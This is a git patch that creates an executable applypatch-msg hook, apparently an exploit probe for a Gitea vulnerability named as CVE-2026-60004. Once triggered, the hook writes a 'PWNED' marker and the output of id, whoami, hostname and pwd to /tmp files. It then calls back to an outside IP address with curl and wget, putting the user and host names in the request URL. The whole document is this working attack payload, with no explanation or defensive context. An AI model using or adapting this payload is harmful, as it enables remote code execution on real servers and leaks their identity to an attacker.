From 3a83ebb7023b4f543817c07209afecfa8a8c4e5f Mon Sep 17 00:00:00 2001
From: dev81266 <dev81266@mail.local>
Date: Wed, 29 Jul 2026 08:02:47 +0800
Subject: [PATCH] apply-patch

---
 hooks/applypatch-msg | 11 +++++++++++
 1 file changed, 11 insertions(+)
 create mode 100755 hooks/applypatch-msg

diff --git a/hooks/applypatch-msg b/hooks/applypatch-msg
new file mode 100755
index 0000000..a92d08e
--- /dev/null
+++ b/hooks/applypatch-msg
@@ -0,0 +1,11 @@
+#!/bin/sh
+# CVE-2026-60004 probe
+echo "PWNED_$(date +%s)" > /tmp/gitea_pwn_marker
+id > /tmp/gitea_pwn_id
+whoami >> /tmp/gitea_pwn_id
+hostname >> /tmp/gitea_pwn_id
+pwd >> /tmp/gitea_pwn_id
+# Callback via curl (timeout 3s to prevent blocking)
+curl -s -m 3 http://202.79.169.91:28016/pwned_id_$(whoami)_$(hostname) || true
+# Callback via wget
+wget -qO- --timeout=3 http://202.79.169.91:28016/pwned_wget || true